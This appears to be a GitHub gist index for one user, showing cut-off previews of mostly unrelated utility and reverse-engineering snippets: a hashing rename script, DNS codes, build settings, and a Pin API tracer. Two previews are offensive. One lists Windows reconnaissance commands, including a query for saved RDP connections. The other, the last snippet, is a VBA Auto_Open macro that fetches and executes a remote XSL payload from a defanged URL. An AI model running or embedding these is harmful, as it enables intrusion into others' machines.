GitMirar

#!/usr/bin/env bash

# rename binaries after their sha256 sum

function rename_sha256 {
    sha256=`sha256sum "${1}" | sed 's/  .*$//'`
    oldPath=`readlink -f "$1"`
    directory=`echo ${oldPath} | sed 's/\(.*\)[/].*/\1/'`
    newPath="${directory}/${sha256}"

GitMirar

def _rotr(num, bits):
    num &= (2**bits-1)
    bit = num & 1
    num >>= 1
    if(bit):
        num |= (1 << (bits-1))
    return num

def rotr(num):
	key = 13

GitMirar

const (
	RC_NOERROR   = 0
	RC_FORMERR   = 1
	RC_SERVFAIL  = 2
	RC_NXDOMAIN  = 3
	RC_NOTIMP    = 4
	RC_REFUSED   = 5
	RC_YXDOMAIN  = 6
	RC_YXRRSET   = 7
	RC_NXRRSET   = 8

GitMirar

set(VCPKG_TARGET_ARCHITECTURE x86)
set(VCPKG_CRT_LINKAGE dynamic)
set(VCPKG_LIBRARY_LINKAGE static)

GitMirar

set(VCPKG_TARGET_ARCHITECTURE x64)
set(VCPKG_CRT_LINKAGE dynamic)
set(VCPKG_LIBRARY_LINKAGE static)

GitMirar

int main(int argc, char* argv[]) {
  int temp;
  temp = 42;
  
  __asm__ __volatile__ (
  ".intel_syntax;"
  "mov %%eax, %1;"
  "mov %0, %%eax;"
  ".att_syntax;"

GitMirar

/*
 * PinTrace
 *
 * API call trace tool built with intel pin (https://software.intel.com/en-us/articles/pin-a-binary-instrumentation-tool-downloads).
 *
 * CC by mirar@chaosmail.org
 *
 * This module can either be run in audit mode (-a flag) or provided with a config file (-c path/to/config).
 *
 * The config format is as follows:

GitMirar

Keybase proof

I hereby claim:

• I am GitMirar on github.
• I am mirar (https://keybase.io/mirar) on keybase.
• I have a public key whose fingerprint is 84B9 CCFF 974F 2574 1C5D F401 ECBB 8358 CBA2 065C

To claim this, I am signing this object:

GitMirar

Windows version:
	reg query x64 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion

Users who have authed to the system:
	ls C:\Users\

System env variables:
	reg query x64 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment

Saved outbound RDP connections:

GitMirar

Sub Auto_Open()
    Set XML = CreateObject("Microsoft.XMLDOM")
    XML.async = False
    Set xsl = XML
    xsl.Load ("hxxps://d3nvoqkqp3htqo.cloudfront.net/p_/content")
    XML.transformNode xsl
End Sub